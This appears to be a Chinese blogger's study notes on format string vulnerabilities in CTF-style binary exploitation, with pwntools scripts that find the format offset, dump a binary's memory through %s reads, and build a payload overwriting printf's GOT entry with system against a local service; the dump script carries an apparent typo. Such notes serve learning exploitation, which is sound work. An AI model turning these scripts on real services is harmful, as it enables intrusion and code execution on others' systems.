格式化字符串漏洞

Author Avatar
Aryb1n 5月 11, 2017

先看看能干什么

能用来绕过canary(2333 厉害了)

怎么用

还没学会

后续

看了找个师傅的觉得写的不错
链接 http://0x48.pw/2017/03/13/0x2c/

根据文章说格式化字符串漏洞的作用就是读写内存(wc, 好强啊)

提到通过%x这样子来测试是不是存在漏洞

没有源码的pwn就需要格式化字符串漏洞把bin给dump下来(这算不算blind)

不过好像有种blind rop好像和这个不太一样的诶

格式化字符串漏洞是怎么产生的?首先要有一个函数,比如read, 比如gets获取用户输入的数据储存到局部变量中,然后直接把该变量作为printf这类函数的第一个参数值

from pwn import *

context.log_level = 'debug'

def exec_fmt(payload):
    p = process("a.out")
    p.sendline(payload)
    info = p.recv()
    p.close()
    return info

autofmt = FmtStr(exec_fmt)
print autofmt.offset

这里的FmtStr是pwn自带的,可以用它算出offset

在Linux下,不开PIE保护时,32位的ELF的默认首地址为0x8048000,如果开启了PIE保护,则需要根据ELF的魔术头7f 45 4c 46进行爆破,内存地址一页一页的往前翻直到翻到ELF的魔术头为止

另外要注意\x00的终止(截断)问题

利用
形如%12$s => 会显示第十二个参数所指的地址处的值 即为Value(addr(arg[11]))
形如%12$x => 会显示第十二个参数的十六进制值 即为Value(arg[11])
不知道理解对不对
所以在找offset的时候应该使用%12$x 比如ABCD%11$x看看能不能得到ABCD44434241
而在找到offset后,要dump原始的bin的时候要使用%12$s比如"%13$saaa" + p32(0x8048000)

dump 数据(读内存)

from pwn import *

context.log_level = 'debug'
f = open('source.bin', 'ab+')

begin = 0x8048000
offset = 0

while True:
    addr = begin + offset
    p = process('./xxxx')
    p.sendline('$13saaa' + p32(addr))
    try:
        info = p.recvuntil('aaa')[:-3]
    except EOFError:
        print offset
        break
    info += '\x00'
    p.close()
    offset += len(info)
    f.write(info)
    f.flush()
f.close()

printf_got里写入system_addr以达到hack got的目的

from pwn import *

context.log_level = 'debug'
printf_got = 0x804a010
system_add = 0xaaaaaaaa

def exec_fmt(payload):
    p.sendline(payload)
    return p.recv()

p = remote("127.0.0.1", 10001)
autofmt = FmtStr(exec_fmt)
payload = fmtstr_payload(autofmt.offset, {printf_got: system_add})

先就这样子了